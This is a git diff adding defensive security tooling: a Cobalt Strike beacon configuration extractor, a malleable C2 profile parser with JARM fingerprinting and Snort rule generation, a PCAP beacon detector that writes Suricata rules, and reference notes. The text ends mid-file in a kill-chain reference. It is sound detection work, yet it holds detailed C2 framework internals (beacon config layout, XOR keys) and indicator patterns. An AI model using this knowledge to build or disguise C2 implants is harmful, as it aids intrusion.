+BEACON_CONFIG_FIELDS = { + 1: ("BeaconType", "short"), + 2: ("Port", "short"), + 3: ("SleepTime", "int"), + 4: ("MaxGetSize", "int"), + 5: ("Jitter", "short"), + 7: ("PublicKey", "bytes"), + 8: ("C2Server", "str"), + 9: ("UserAgent", "str"), + 10: ("PostURI", "str"), + 11: ("Malleable_C2_Instructions", "bytes"), + 12: ("HttpGet_Metadata", "bytes"), + 13: ("HttpPost_Metadata", "bytes"), + 14: ("SpawnToX86", "str"), + 15: ("SpawnToX64", "str"), + 19: ("CryptoScheme", "short"), + 26: ("GetVerb", "str"), + 27: ("PostVerb", "str"), + 28: ("HttpPostChunk", "int"), + 29: ("Spawnto_x86", "str"), + 30: ("Spawnto_x64", "str"), + 31: ("CryptoScheme2", "str"), + 37: ("Watermark", "int"), + 38: ("StageCleanup", "short"), + 39: ("CFGCaution", "short"), + 43: ("DNS_Idle", "int"), + 44: ("DNS_Sleep", "int"), + 50: ("HostHeader", "str"), + 54: ("PipeName", "str"), +} + +BEACON_TYPES = {0: "HTTP", 1: "Hybrid HTTP/DNS", 2: "SMB", 4: "TCP", 8: "HTTPS", 16: "DNS over HTTPS"} + +XOR_KEY_V3 = 0x69 +XOR_KEY_V4 = 0x2E + + +def compute_hash(filepath): + """Compute SHA-256 hash of file.""" + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +def find_config_offset(data): + """Find the beacon configuration blob in PE data or shellcode.""" + # Look for XOR-encoded config patterns + for xor_key in [XOR_KEY_V3, XOR_KEY_V4]: + # Config starts with 0x0001 (BeaconType field ID) XOR-encoded + encoded_marker = bytes([0x00 ^ xor_key, 0x01 ^ xor_key, 0x00 ^ xor_key, 0x01 ^ xor_key]) + offset = data.find(encoded_marker) + if offset != -1: + return offset, xor_key + # Try unencoded + for offset in range(len(data) - 100): + if data[offset:offset+4] == b"\x00\x01\x00\x01": + return offset, None + return -1, None + + +def xor_decode(data, key): + """XOR decode data with single byte key.""" + if key is None: + return data + return bytes(b ^ key for b in data) + + +def parse_config_field(data, offset): + """Parse a single TLV config field.""" + if offset + 6 > len(data): + return None, None, None, offset + field_id = struct.unpack_from(">H", data, offset)[0] + field_type = struct.unpack_from(">H", data, offset + 2)[0] + if field_type == 1: # short + value = struct.unpack_from(">H", data, offset + 4)[0] + return field_id, "short", value, offset + 6 + elif field_type == 2: # int + value = struct.unpack_from(">I", data, offset + 4)[0] + return field_id, "int", value, offset + 8 + elif field_type == 3: # str/bytes + length = struct.unpack_from(">H", data, offset + 4)[0] + if offset + 6 + length > len(data): + return None, None, None, offset + value = data[offset + 6:offset + 6 + length] + return field_id, "str", value, offset + 6 + length + return None, None, None, offset + 2 + + +def extract_beacon_config(filepath): + """Extract and parse Cobalt Strike beacon configuration.""" + with open(filepath, "rb") as f: + data = f.read() + + config_offset, xor_key = find_config_offset(data) + if config_offset == -1: + return {"error": "No beacon configuration found", "file": filepath} + + config_data = xor_decode(data[config_offset:config_offset + 4096], xor_key) + config = OrderedDict() + config["_meta"] = { + "config_offset": f"0x{config_offset:08X}", + "xor_key": f"0x{xor_key:02X}" if xor_key else "none", + "version_guess": "4.x" if xor_key == XOR_KEY_V4 else "3.x" if xor_key == XOR_KEY_V3 else "unknown", + } + + offset = 0 + max_fields = 100 + parsed = 0 + while offset < len(config_data) - 4 and parsed < max_fields: + field_id, field_type, value, new_offset = parse_config_field(config_data, offset) + if field_id is None or new_offset == offset: + break + offset = new_offset + parsed += 1 + + field_info = BEACON_CONFIG_FIELDS.get(field_id) + if field_info: + field_name, expected_type = field_info + if isinstance(value, bytes): + try: + str_value = value.rstrip(b"\x00").decode("utf-8", errors="replace") + config[field_name] = str_value + except Exception: + config[field_name] = value.hex()[:100] + elif field_id == 1: + config[field_name] = BEACON_TYPES.get(value, f"Unknown({value})") + else: + config[field_name] = value + + return config + + +def extract_c2_indicators(config): + """Extract C2 indicators from parsed config for threat intelligence.""" + indicators = {"c2_servers": [], "user_agents": [], "uris": [], + "pipes": [], "watermark": None, "dns": []} + c2 = config.get("C2Server", "") + if c2: + for server in c2.split(","): + server = server.strip().rstrip("/") + if server: + indicators["c2_servers"].append(server) + ua = config.get("UserAgent", "") + if ua: + indicators["user_agents"].append(ua) + for key in ["PostURI"]: + uri = config.get(key, "") + if uri: + indicators["uris"].append(uri) + pipe = config.get("PipeName", "") + if pipe: + indicators["pipes"].append(pipe) + wm = config.get("Watermark") + if wm: + indicators["watermark"] = wm + return indicators + + +def assess_operator_opsec(config): + """Assess operator OPSEC based on beacon configuration.""" + findings = [] + sleep = config.get("SleepTime", 0) + jitter = config.get("Jitter", 0) + if sleep < 30000: + findings.append({"level": "INFO", "detail": f"Low sleep time: {sleep}ms - high beacon frequency"}) + if jitter == 0: + findings.append({"level": "WARN", "detail": "No jitter configured - predictable beacon interval"}) + ua = config.get("UserAgent", "") + if "Mozilla" not in ua and ua: + findings.append({"level": "WARN", "detail": f"Non-standard User-Agent: {ua[:60]}"}) + spawn86 = config.get("SpawnToX86", config.get("Spawnto_x86", "")) + if "rundll32" in spawn86.lower(): + findings.append({"level": "INFO", "detail": "Default spawn-to process (rundll32) - easy to detect"}) + cleanup = config.get("StageCleanup", 0) + if cleanup == 0: + findings.append({"level": "INFO", "detail": "Stage cleanup disabled - beacon stub remains in memory"}) + return findings + + +if __name__ == "__main__": + print("=" * 60) + print("Cobalt Strike Beacon Configuration Extractor") + print("C2 extraction, watermark analysis, OPSEC assessment") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + + if not target or not os.path.exists(target): + print("\n[DEMO] Usage: python agent.py ") + print(" Extracts: C2 servers, sleep/jitter, watermark, malleable profile") + sys.exit(0) + + print(f"\n[*] Analyzing: {target}") + print(f"[*] SHA-256: {compute_hash(target)}") + print(f"[*] Size: {os.path.getsize(target)} bytes") + + config = extract_beacon_config(target) + + if "error" in config: + print(f"\n[!] {config['error']}") + sys.exit(1) + + print("\n--- Beacon Configuration ---") + for key, value in config.items(): + if key == "_meta": + for mk, mv in value.items(): + print(f" {mk}: {mv}") + else: + print(f" {key}: {value}") + + indicators = extract_c2_indicators(config) + print("\n--- C2 Indicators ---") + for c2 in indicators["c2_servers"]: + print(f" [C2] {c2}") + if indicators["watermark"]: + print(f" [Watermark] {indicators['watermark']}") + for pipe in indicators["pipes"]: + print(f" [Pipe] {pipe}") + + opsec = assess_operator_opsec(config) + print("\n--- Operator OPSEC Assessment ---") + for f in opsec: + print(f" [{f['level']}] {f['detail']}") diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE b/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/SKILL.md b/skills/analyzing-cobalt-strike-malleable-profiles/SKILL.md new file mode 100644 index 00000000..aabc8bc5 --- /dev/null +++ b/skills/analyzing-cobalt-strike-malleable-profiles/SKILL.md @@ -0,0 +1,54 @@ +--- +name: analyzing-cobalt-strike-malleable-profiles +description: > + Parses Cobalt Strike malleable C2 profiles using pyMalleableC2 to extract beacon + configuration, HTTP communication patterns, and sleep/jitter settings. Combines with + JARM TLS fingerprinting to detect C2 servers on the network. Use when investigating + suspected Cobalt Strike infrastructure or building detection signatures for C2 traffic. +--- + +# Analyzing Cobalt Strike Malleable Profiles + +## Instructions + +Parse malleable C2 profiles to extract IOCs and detection opportunities using the +pyMalleableC2 library. Combine with JARM fingerprinting to identify C2 servers. + +```python +from malleablec2 import Profile + +# Parse a malleable profile from file +profile = Profile.from_file("amazon.profile") + +# Extract global options (sleep, jitter, user-agent) +print(profile.ast.pretty()) + +# Access HTTP-GET block URIs and headers for network signatures +# Access HTTP-POST block for data exfiltration patterns +# Generate JARM fingerprints for known C2 infrastructure +``` + +Key analysis steps: +1. Parse the malleable profile to extract HTTP-GET/POST URI patterns +2. Extract User-Agent strings and custom headers for IDS signatures +3. Identify sleep time and jitter for beaconing detection thresholds +4. Scan suspect IPs with JARM to match known C2 fingerprint hashes +5. Cross-reference extracted IOCs with network traffic logs + +## Examples + +```python +# Parse profile and extract detection indicators +from malleablec2 import Profile +p = Profile.from_file("cobaltstrike.profile") +print(p) # Reconstructed source + +# JARM scan a suspect C2 server +import subprocess +result = subprocess.run( + ["python3", "jarm.py", "suspect-server.com"], + capture_output=True, text=True +) +print(result.stdout) +# Compare fingerprint against known CS JARM hashes +``` diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/references/api-reference.md b/skills/analyzing-cobalt-strike-malleable-profiles/references/api-reference.md new file mode 100644 index 00000000..6be55620 --- /dev/null +++ b/skills/analyzing-cobalt-strike-malleable-profiles/references/api-reference.md @@ -0,0 +1,69 @@ +# API Reference: Analyzing Cobalt Strike Malleable Profiles + +## pyMalleableC2 + +```python +from malleablec2 import Profile +from malleablec2.components import HttpGetBlock, HttpPostBlock, ClientBlock, ServerBlock + +# Parse from file or string +p = Profile.from_file("amazon.profile") +p = Profile.from_string(code_string) +p = Profile.from_scratch() + +# Set global options +p.set_option("sleeptime", "3000") +p.set_option("jitter", "0") +p.set_option("pipename", "mojo__##") + +# HTTP blocks +http_get = HttpGetBlock() +http_get.set_option("uri", "/updates") +client = ClientBlock() +client.add_statement("header", "Accept", "*/*") +http_get.add_code_block(client) +p.add_code_block(http_get) + +# AST and reconstruction +print(p.ast.pretty()) # Display AST +print(p) # Reconstruct source +``` + +## JARM TLS Fingerprinting + +```bash +# Scan a single host +python3 jarm.py www.example.com + +# Scan with specific port +python3 jarm.py 192.168.1.1 -p 8443 + +# Batch scan from file +python3 jarm.py -i targets.txt -o results.csv +``` + +Fingerprint format: 62-char hybrid hash +- First 30 chars: cipher + TLS version (10 handshakes x 3 chars) +- Last 32 chars: truncated SHA256 of cumulative extensions + +## Known Cobalt Strike JARM Hashes + +| JARM Hash | Description | +|-----------|-------------| +| `07d14d16d21d21d07c42d41d00041d...` | CS default config | +| `07d14d16d21d21d00042d41d00041d...` | CS with Java 11 | + +## dissect.cobaltstrike (Alternative) + +```python +from dissect.cobaltstrike import beacon +b = beacon.BeaconConfig.from_file("beacon.bin") +print(b.protocol, b.port, b.sleeptime) +``` + +### References + +- pyMalleableC2: https://github.com/byt3bl33d3r/pyMalleableC2 +- JARM scanner: https://github.com/salesforce/jarm +- dissect.cobaltstrike: https://github.com/fox-it/dissect.cobaltstrike +- C2 JARM list: https://github.com/cedowens/C2-JARM diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/scripts/agent.py b/skills/analyzing-cobalt-strike-malleable-profiles/scripts/agent.py new file mode 100644 index 00000000..e1759a9d --- /dev/null +++ b/skills/analyzing-cobalt-strike-malleable-profiles/scripts/agent.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python3 +"""Agent for analyzing Cobalt Strike malleable C2 profiles and JARM fingerprinting.""" + +import os +import json +import subprocess +import argparse +from pathlib import Path +from datetime import datetime + +from malleablec2 import Profile + + +def extract_profile_indicators(profile_path): + """Extract detection indicators from a malleable C2 profile.""" + with open(profile_path) as f: + content = f.read() + profile = Profile.from_string(content) + indicators = { + "file": str(profile_path), + "source_lines": len(content.splitlines()), + "reconstructed": str(profile), + } + keywords = ["sleeptime", "jitter", "useragent", "pipename", "host_stage", + "dns_idle", "dns_sleep", "spawnto_x86", "spawnto_x64"] + options = {} + for kw in keywords: + for line in content.splitlines(): + stripped = line.strip().rstrip(";").strip() + if kw in stripped.lower() and "set " in stripped.lower(): + parts = stripped.split('"') + if len(parts) >= 2: + options[kw] = parts[1] + indicators["global_options"] = options + uris = [] + for line in content.splitlines(): + if "set uri" in line.strip().lower(): + parts = line.strip().split('"') + if len(parts) >= 2: + uris.append(parts[1]) + indicators["uris"] = uris + headers = [] + for line in content.splitlines(): + stripped = line.strip() + if "header " in stripped.lower() and '"' in stripped: + parts = stripped.split('"') + if len(parts) >= 4: + headers.append({"name": parts[1], "value": parts[3]}) + indicators["custom_headers"] = headers + return indicators + + +def scan_directory_profiles(directory): + """Scan a directory for malleable C2 profiles and extract indicators.""" + results = [] + for path in Path(directory).rglob("*.profile"): + try: + indicators = extract_profile_indicators(str(path)) + results.append(indicators) + except Exception as e: + results.append({"file": str(path), "error": str(e)}) + return results + + +KNOWN_CS_JARM = { + "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1": + "Cobalt Strike (default)", + "07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2": + "Cobalt Strike (Java 11)", +} + + +def compute_jarm_fingerprint(host, port=443): + """Compute JARM fingerprint by invoking the salesforce/jarm scanner.""" + jarm_script = os.getenv("JARM_SCRIPT", "jarm.py") + try: + result = subprocess.run( + ["python3", jarm_script, host, "-p", str(port)], + capture_output=True, text=True, timeout=30, + ) + for line in result.stdout.splitlines(): + if len(line.strip()) >= 62: + return line.strip().split()[-1] + return result.stdout.strip() + except Exception as e: + return f"Error: {e}" + + +def check_jarm_against_known(fingerprint): + """Check a JARM fingerprint against known Cobalt Strike signatures.""" + for jarm_hash, description in KNOWN_CS_JARM.items(): + if fingerprint.strip() == jarm_hash: + return {"match": True, "description": description, "fingerprint": fingerprint} + return {"match": False, "fingerprint": fingerprint} + + +def batch_jarm_scan(targets, port=443): + """Scan multiple targets for JARM fingerprints and check against known CS hashes.""" + results = [] + for target in targets: + fp = compute_jarm_fingerprint(target, port) + match = check_jarm_against_known(fp) + match["target"] = target + results.append(match) + return results + + +def generate_snort_rules(indicators_list): + """Generate Snort/Suricata rules from extracted profile indicators.""" + rules = [] + sid = 1000001 + for ind in indicators_list: + for uri in ind.get("uris", []): + rules.append( + f'alert http $HOME_NET any -> $EXTERNAL_NET any ' + f'(msg:"CS Beacon URI {uri}"; ' + f'content:"{uri}"; http_uri; sid:{sid}; rev:1;)' + ) + sid += 1 + ua = ind.get("global_options", {}).get("useragent", "") + if ua: + rules.append( + f'alert http $HOME_NET any -> $EXTERNAL_NET any ' + f'(msg:"CS Beacon User-Agent"; ' + f'content:"{ua}"; http_header; sid:{sid}; rev:1;)' + ) + sid += 1 + return rules + + +def main(): + parser = argparse.ArgumentParser(description="Cobalt Strike Malleable Profile Analyzer") + parser.add_argument("--profile", help="Path to a single malleable C2 profile") + parser.add_argument("--directory", help="Directory of malleable profiles") + parser.add_argument("--jarm-targets", nargs="*", help="Hosts to JARM fingerprint") + parser.add_argument("--output", default="cs_analysis_report.json") + parser.add_argument("--action", choices=[ + "parse", "scan_dir", "jarm", "generate_rules", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("parse", "full_analysis") and args.profile: + indicators = extract_profile_indicators(args.profile) + report["findings"]["profile_indicators"] = indicators + print(f"[+] Parsed: {args.profile} ({len(indicators.get('uris', []))} URIs)") + + if args.action in ("scan_dir", "full_analysis") and args.directory: + results = scan_directory_profiles(args.directory) + report["findings"]["directory_scan"] = results + print(f"[+] Scanned {len(results)} profiles in {args.directory}") + + if args.action in ("jarm", "full_analysis") and args.jarm_targets: + jarm_results = batch_jarm_scan(args.jarm_targets) + report["findings"]["jarm_scan"] = jarm_results + matches = [r for r in jarm_results if r.get("match")] + print(f"[+] JARM: {len(jarm_results)} scanned, {len(matches)} CS matches") + + if args.action in ("generate_rules", "full_analysis"): + profiles = report["findings"].get("directory_scan", []) + if not profiles and args.profile: + profiles = [report["findings"].get("profile_indicators", {})] + rules = generate_snort_rules(profiles) + report["findings"]["snort_rules"] = rules + print(f"[+] Generated {len(rules)} Snort rules") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-command-and-control-communication/LICENSE b/skills/analyzing-command-and-control-communication/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-command-and-control-communication/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-command-and-control-communication/references/api-reference.md b/skills/analyzing-command-and-control-communication/references/api-reference.md new file mode 100644 index 00000000..5aaa0950 --- /dev/null +++ b/skills/analyzing-command-and-control-communication/references/api-reference.md @@ -0,0 +1,112 @@ +# API Reference: C2 Communication Analysis Tools + +## Scapy - Packet Analysis Library (Python) + +### Reading PCAPs +```python +from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR +packets = rdpcap("capture.pcap") +``` + +### Filtering Packets +```python +# TCP SYN packets (connection initiation) +syn_pkts = [p for p in packets if TCP in p and (p[TCP].flags & 0x02)] + +# DNS queries +dns_pkts = [p for p in packets if DNS in p and p[DNS].qr == 0] + +# Access fields +pkt[IP].src # Source IP +pkt[IP].dst # Destination IP +pkt[TCP].sport # Source port +pkt[TCP].dport # Destination port +pkt[TCP].flags # TCP flags (0x02 = SYN) +float(pkt.time) # Packet timestamp +``` + +## dpkt - Packet Parsing Library (Python) + +### Reading PCAPs +```python +import dpkt +with open("capture.pcap", "rb") as f: + pcap = dpkt.pcap.Reader(f) + for timestamp, buf in pcap: + eth = dpkt.ethernet.Ethernet(buf) + ip = eth.data + tcp = ip.data +``` + +### HTTP Request Parsing +```python +http = dpkt.http.Request(tcp.data) +http.method # GET, POST +http.uri # /path +http.headers # dict of headers +http.body # POST body +``` + +## tshark - CLI Wireshark + +### Beacon Analysis +```bash +tshark -r capture.pcap -T fields -e ip.dst -e tcp.dstport -e frame.time_epoch \ + -Y "tcp.flags.syn==1" > syn_times.csv +``` + +### HTTP Extraction +```bash +tshark -r capture.pcap -Y "http.request" -T fields \ + -e http.request.method -e http.host -e http.request.uri -e http.user_agent +``` + +### DNS Extraction +```bash +tshark -r capture.pcap -Y "dns.qr==0" -T fields \ + -e dns.qry.name -e dns.qry.type -e ip.src +``` + +### JA3 TLS Fingerprinting +```bash +tshark -r capture.pcap -Y "tls.handshake.type==1" -T fields \ + -e ip.src -e tls.handshake.ja3 +``` + +## CobaltStrikeParser - Beacon Config Extraction + +### Usage +```python +from cobalt_strike_parser import BeaconConfig +config = BeaconConfig.from_file("beacon.bin") +for key, value in config.items(): + print(f"{key}: {value}") +``` + +### Key Config Fields +| Field | Description | +|-------|-------------| +| `BeaconType` | HTTP, HTTPS, DNS, SMB | +| `C2Server` | Primary C2 URL | +| `SleepTime` | Beacon interval (ms) | +| `Jitter` | Jitter percentage | +| `UserAgent` | HTTP User-Agent string | +| `Watermark` | License watermark ID | + +## Suricata - Network IDS Rules + +### Rule Syntax +``` +alert -> (msg:""; ; sid:N; rev:N;) +``` + +### Key Keywords +| Keyword | Purpose | +|---------|---------| +| `http.method` | Match HTTP method | +| `http.uri` | Match request URI | +| `http.header` | Match header content | +| `ja3.hash` | Match JA3 TLS fingerprint | +| `dns.query` | Match DNS query name | +| `tls.cert_subject` | Match TLS certificate CN | +| `threshold` | Rate-based detection | diff --git a/skills/analyzing-command-and-control-communication/scripts/agent.py b/skills/analyzing-command-and-control-communication/scripts/agent.py new file mode 100644 index 00000000..9444e6ab --- /dev/null +++ b/skills/analyzing-command-and-control-communication/scripts/agent.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +"""C2 communication analysis agent for beacon detection and protocol decoding.""" + +import statistics +import base64 +import json +import os +import sys +from collections import defaultdict + +try: + from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw + HAS_SCAPY = True +except ImportError: + HAS_SCAPY = False + +try: + import dpkt + HAS_DPKT = True +except ImportError: + HAS_DPKT = False + + +def detect_beacons(pcap_path, min_connections=5, max_jitter_pct=25.0): + """Analyze PCAP for periodic beacon patterns using TCP SYN timing.""" + if not HAS_SCAPY: + print("[ERROR] scapy not installed: pip install scapy") + return [] + packets = rdpcap(pcap_path) + connections = defaultdict(list) + for pkt in packets: + if IP in pkt and TCP in pkt and (pkt[TCP].flags & 0x02): + key = f"{pkt[IP].dst}:{pkt[TCP].dport}" + connections[key].append(float(pkt.time)) + beacons = [] + for dst, times in sorted(connections.items()): + if len(times) < min_connections: + continue + intervals = [times[i + 1] - times[i] for i in range(len(times) - 1)] + avg_interval = statistics.mean(intervals) + stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0 + jitter_pct = (stdev / avg_interval * 100) if avg_interval > 0 else 0 + is_beacon = 5 < avg_interval < 7200 and jitter_pct < max_jitter_pct + record = { + "destination": dst, + "connections": len(times), + "duration_seconds": round(times[-1] - times[0], 1), + "avg_interval_seconds": round(avg_interval, 1), + "stdev_seconds": round(stdev, 1), + "jitter_percent": round(jitter_pct, 1), + "is_beacon": is_beacon, + } + if is_beacon: + beacons.append(record) + return beacons + + +def extract_http_requests(pcap_path): + """Extract HTTP requests from a PCAP file using dpkt.""" + if not HAS_DPKT: + print("[ERROR] dpkt not installed: pip install dpkt") + return [] + requests = [] + with open(pcap_path, "rb") as f: + pcap = dpkt.pcap.Reader(f) + for ts, buf in pcap: + try: + eth = dpkt.ethernet.Ethernet(buf) + if not isinstance(eth.data, dpkt.ip.IP): + continue + ip = eth.data + if not isinstance(ip.data, dpkt.tcp.TCP): + continue + tcp = ip.data + if len(tcp.data) == 0: + continue + try: + http = dpkt.http.Request(tcp.data) + decoded_body = None + if http.body: + try: + decoded_body = base64.b64decode(http.body).decode("utf-8", errors="replace") + except Exception: + decoded_body = http.body[:200] + requests.append({ + "timestamp": ts, + "src_ip": ".".join(str(b) for b in ip.src), + "dst_ip": ".".join(str(b) for b in ip.dst), + "dst_port": tcp.dport, + "method": http.method, + "uri": http.uri, + "host": http.headers.get("host", ""), + "user_agent": http.headers.get("user-agent", ""), + "body_size": len(http.body) if http.body else 0, + "decoded_body_preview": decoded_body, + }) + except (dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError): + pass + except Exception: + continue + return requests + + +def extract_dns_queries(pcap_path): + """Extract DNS queries from a PCAP for C2 domain identification.""" + if not HAS_SCAPY: + return [] + packets = rdpcap(pcap_path) + queries = [] + for pkt in packets: + if DNS in pkt and pkt[DNS].qr == 0 and DNSQR in pkt: + qname = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".") + queries.append({ + "src_ip": pkt[IP].src if IP in pkt else "?", + "query": qname, + "type": pkt[DNSQR].qtype, + }) + return queries + + +def identify_c2_framework(http_requests): + """Match HTTP request patterns against known C2 framework signatures.""" + cs_uris = ["/pixel", "/submit.php", "/__utm.gif", "/ca", "/dpixel", + "/push", "/visit.js", "/tab_icon"] + framework_hits = [] + for req in http_requests: + uri = req.get("uri", "") + ua = req.get("user_agent", "") + for cs_uri in cs_uris: + if cs_uri in uri: + framework_hits.append({ + "framework": "Cobalt Strike", + "indicator": f"URI pattern: {cs_uri}", + "request": req, + }) + break + if "MeterSSL" in ua or len(uri) == 5 and uri.startswith("/"): + framework_hits.append({ + "framework": "Metasploit/Meterpreter", + "indicator": f"URI/UA pattern: {uri} / {ua[:50]}", + "request": req, + }) + return framework_hits + + +def generate_suricata_rules(beacons, http_requests): + """Generate Suricata IDS rules from observed C2 patterns.""" + rules = [] + sid = 9000100 + for beacon in beacons: + dst_ip, dst_port = beacon["destination"].rsplit(":", 1) + rules.append( + f'alert tcp $HOME_NET any -> {dst_ip} {dst_port} (' + f'msg:"MALWARE Detected C2 Beacon to {dst_ip}:{dst_port}"; ' + f'flow:established,to_server; ' + f'threshold:type threshold, track by_src, count 5, seconds 600; ' + f'sid:{sid}; rev:1;)' + ) + sid += 1 + for req in http_requests[:5]: + if req.get("uri"): + uri = req["uri"] + rules.append( + f'alert http $HOME_NET any -> $EXTERNAL_NET any (' + f'msg:"MALWARE Suspected C2 HTTP Request {uri}"; ' + f'flow:established,to_server; ' + f'http.method; content:"{req["method"]}"; ' + f'http.uri; content:"{uri}"; ' + f'sid:{sid}; rev:1;)' + ) + sid += 1 + return rules + + +if __name__ == "__main__": + print("=" * 60) + print("C2 Communication Analysis Agent") + print("Beacon detection, protocol decoding, signature generation") + print("=" * 60) + + pcap_file = sys.argv[1] if len(sys.argv) > 1 else None + + if pcap_file and os.path.exists(pcap_file): + print(f"\n[*] Analyzing PCAP: {pcap_file}") + + print("\n--- Beacon Detection ---") + beacons = detect_beacons(pcap_file) + for b in beacons: + print(f"[!] BEACON: {b['destination']} " + f"interval={b['avg_interval_seconds']}s " + f"jitter={b['jitter_percent']}% " + f"sessions={b['connections']}") + + print("\n--- HTTP Requests ---") + http_reqs = extract_http_requests(pcap_file) + for r in http_reqs[:10]: + print(f" {r['method']} {r['host']}{r['uri']}") + + print("\n--- DNS Queries ---") + dns_qs = extract_dns_queries(pcap_file) + for q in dns_qs[:10]: + print(f" {q['src_ip']} -> {q['query']}") + + print("\n--- C2 Framework Identification ---") + hits = identify_c2_framework(http_reqs) + for h in hits: + print(f"[!] {h['framework']}: {h['indicator']}") + + print("\n--- Suricata Rules ---") + rules = generate_suricata_rules(beacons, http_reqs) + for r in rules: + print(r) + else: + print("\n[DEMO] Usage: python agent.py ") + print("[*] Provide a PCAP file to analyze for C2 communication patterns.") diff --git a/skills/analyzing-cyber-kill-chain/LICENSE b/skills/analyzing-cyber-kill-chain/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-cyber-kill-chain/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-cyber-kill-chain/references/api-reference.md b/skills/analyzing-cyber-kill-chain/references/api-reference.md new file mode 100644 index 00000000..9b2e4363 --- /dev/null +++ b/skills/analyzing-cyber-kill-chain/references/api-reference.md @@ -0,0 +1,96 @@ +# API Reference: Cyber Kill Chain Analysis Tools + +## Lockheed Martin Cyber Kill Chain Phases + +| Phase | Name | MITRE ATT&CK Tactic | +|-------|------|---------------------| +| 1 | Reconnaissance | TA0043 Reconnaissance | +| 2 | Weaponization | TA0042 Resource Development | +| 3 | Delivery | TA0001 Initial Access | +| 4 | Exploitation | TA0002 Execution | +| 5 | Installation | TA0003 Persistence, TA0004 Privilege Escalation | +| 6 | Command & Control | TA0011 Command and Control | +| 7 | Actions on Objectives | TA0010 Exfiltration, TA0040 Impact | + +## Courses of Action (COA) Matrix + +| COA | Description | +|-----|-------------| +| Detect | Alert on adversary activity | +| Deny | Prevent phase completion | +| Disrupt | Interrupt adversary mid-phase | +| Degrade | Reduce adversary effectiveness | +| Deceive | Expose activity via deception | +| Destroy | Neutralize adversary infrastructure | + +## MITRE ATT&CK Navigator + +### JSON Layer Format +```json +{ + "name": "Kill Chain Coverage", + "versions": {"navigator": "4.8", "layer": "4.4", 